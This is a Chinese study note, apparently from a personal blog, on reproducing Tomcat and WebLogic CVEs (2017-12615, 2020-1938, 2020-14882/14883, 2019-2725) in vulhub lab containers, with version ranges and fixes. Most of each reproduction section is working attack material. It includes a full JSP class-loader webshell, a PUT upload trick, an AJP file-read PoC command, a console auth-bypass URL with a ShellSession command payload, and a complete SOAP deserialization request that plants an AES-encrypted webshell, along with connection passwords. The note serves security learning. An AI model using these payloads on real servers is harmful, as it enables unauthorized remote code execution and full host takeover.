#免责声明:
本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关。
Tomcat
Tomcat介绍
tomcat是一个开源而且免费的jsp服务器,默认端口:8080,属于轻量级应用服务器。它可以实现 JavaWeb程序的装载,是配置JSP(Java Server Page)和JAVA系统必备的一款环境。 在历史上也披露出来了很多的漏洞,本文讲几个经典的漏洞复现过程。
CVE-2017-12615
漏洞原理
当在Tomcat的conf(配置目录下)/web.xml配置文件中添加readonly设置为false时,将导致该漏洞产 生,(需要允许put请求) , 攻击者可以利用PUT方法通过精心构造的数据包向存在漏洞的服务器里面上传 jsp一句话文件,从而造成远程命令执行,getshell等。
影响范围
Apache Tomcat 7.0.0 - 7.0.79
Apache Tomcat 8.5.19
本地环境搭建
- kali靶机
拉取镜像
cd vulhub/tomcat/CVE-2017-12615
docker-compose up -d
访问http://192.168.61.131:8080/
出现以下页面证明搭建成功
漏洞复现
访问首页使用bp抓包,请求方式修改为PUT方式提交
Tomcat允许适用put方法上传任意文件类型,但不允许jsp后缀文件上传,因此我们需要配合 windows的解析漏洞。
在数据包中拼接下面payload
payload如下peak.json文件内容
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("peak");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
使用工具蚁剑连接http://192.168.61.131:8080/peak.jsp,连接密码:peak
漏洞修复
设置readonly 为 true
docker down关闭该镜像便于下面漏洞复现
CVE-2020-1938
漏洞原理
由于Tomcat AJP协议设计上的缺陷,攻击者通过Tomcat AJP Connector 可以读取或包含Tomcat上所有 Webapp目录下的任意文件。
例如:
可以读取webapp配置文件或源码文件。 此外如果目标应用有文件上传的功能情况下,配合为文件包含漏洞利用GetShell。
影响范围
Apache Tomcat 6
Tomcat 7系列 <7.0.100
Tomcat 8系列 < 8.5.51
Tomcat 9 系列 <9.0.31
本地环境搭建
cd vulhub/tomcat/CVE-2020-1938
docker-compose up -d
访问http://192.168.61.131:8080/
出现9.0.30证明搭建成功
漏洞复现
tomcat默认的conf/server.xml中配置了2个Connector,一个为 8080 的对外提供的HTTP协议端口,另外一个就是默认的 8009 AJP协议端口,两个端口默认均监听在外网ip。
直接脚本poc
python2 CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml 靶机IP地址
在脚本文件目录下打开cmd,运行以上命令(运行该python脚本需要python2环境)
漏洞修复
1. 更新到最新版本
2. 关闭AJP服务,修改Tomcat配置文件Service.xml,注释掉。
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />3. 配置ajp配置中的secretRequired跟secret属性来限制认证。
WebLogic
WebLogic介绍
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间 件,默认端口:7001 WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
CVE-2020-14882
漏洞描述
CVE-2020-14882允许远程用户绕过管理员控制台组件中的身份验证。
CVE-2020-14883允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞链,未经身份验证的远程攻击者可以通过HTTP在Oracle WebLogic服务器上执行任意命令并完全控制主机。
影响版本
Oracle Weblogic Server 10.3.6.0
Oracle Weblogic Server 12.1.3.0
Oracle Weblogic Server 12.2.1.3
Oracle Weblogic Server 12.2.1.4
Oracle Weblogic Server 14.1.1.0
环境搭建
cd vulhub/weblogic/CVE-2020-14882
docker-compose up -d
漏洞复现
访问管理控制台http://192.168.61.131:7001/console/login/LoginForm.jsp ,等一会就跳转到以下页面。
使用以下url绕过登录认证
http://192.168.61.131:7001/console/css/%252e%252e%252fconsole.portal
此时达到未授权得效果。
还未能GetShell。可以利用第二个漏洞(CVE-2020-14883),远程加载XML文件拿到Shell
使用bp抓取上个页面的数据包,修改请求方式为post,拼接以下数据,点击发送。
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")
我们进入docker可以看到命令被执行success被写入
这种利用方法只能在 Weblogic 12.2.1 及以上版本中使用,因为 10.3.6 没有class
CVE-2019-2725
漏洞描述
wls9-async等组件为WebLogic Server提供异步通讯服务,默认应用于WebLogic部分版本。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者通过发送精心构造的恶意 HTTP 请求,即可获得目标服务器的权限,在未授权的情况下远程执行命令。
影响版本
weblogic 10.x
weblogic 12.1.3
环境搭建
cd vulhub/weblogic/weak_password
docker-compose up -d
漏洞复现
访问http://192.168.61.131:7001/_async/AsyncResponseService
出现以下页面,证明漏洞存在
当前页面抓包,请求方式修改为POST,写入shell
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.61.131:7001
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: ADMINCONSOLESESSION=PrTQkvrfmZ9vwHN5R0vsl0M4pp2gMZTkhZdYv2yhs2f4TmcQ2Ms9!2076597063; JSESSIONID=ndk8kvrfKss6g6vb0M7ZMQydprBBdTQ4czdK59WhqPBYrRTKQ99G!2076597063; rememberMe=test
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 1261
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string><void method="println"><string><![CDATA[
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>]]>
</string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
使用冰蝎连接
URL:http://192.168.61.131:7001/_async/webshell.jsp
密码:rebeyond
漏洞修复
1.禁用bea_wls9_async_response组件;
2.删除wls9_async_response的war包并重启 ;
3.禁止访问 /_async/* 路径。